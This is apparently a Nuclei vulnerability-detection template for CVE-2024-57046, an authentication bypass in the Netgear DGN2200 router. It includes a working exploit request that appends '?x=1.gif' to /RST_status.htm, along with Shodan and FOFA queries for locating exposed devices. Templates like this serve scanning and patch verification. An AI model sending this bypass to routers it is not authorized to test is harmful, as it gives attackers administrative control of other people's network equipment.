Netgear DGN2200 - Improper Authentication

id: CVE-2024-57046

info:
  name: Netgear DGN2200 - Improper Authentication
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding "?x=1.gif" to the requested url, it will be recognized as passing the authentication.
  impact: |
    Attackers on the local network can bypass authentication by appending '?x=1.gif' to URLs, gaining unauthorized access to administrative functions and router configuration.
  remediation: |
    Update Netgear DGN2200 router to firmware version later than v1.0.0.46 that addresses the authentication bypass vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/Netgear/DGN2200/ACL%20bypass%20Vulnerability%20in%20Netgear%20DGN2200.md
    - https://www.netgear.com/about/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57046
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-57046
    cwe-id: CWE-287
    epss-score: 0.02107
    epss-percentile: 0.81912
  metadata:
    verified: true
    max-request: 2
    vendor: Netgear
    product: DGN2200
    shodan-query: http.title:"DGN2200"
    fofa-query: title="NETGEAR DGN2200"
  tags: cve,cve2024,netgear,router,auth-bypass,dgn2200,vuln,vkev

http:
  - raw:
      - |
        GET /RST_status.htm HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /RST_status.htm?x=1.gif HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "<title>Router Status", "Show Statistics")'
          - 'status_code_1 == 401 && status_code_2 == 200'
        condition: and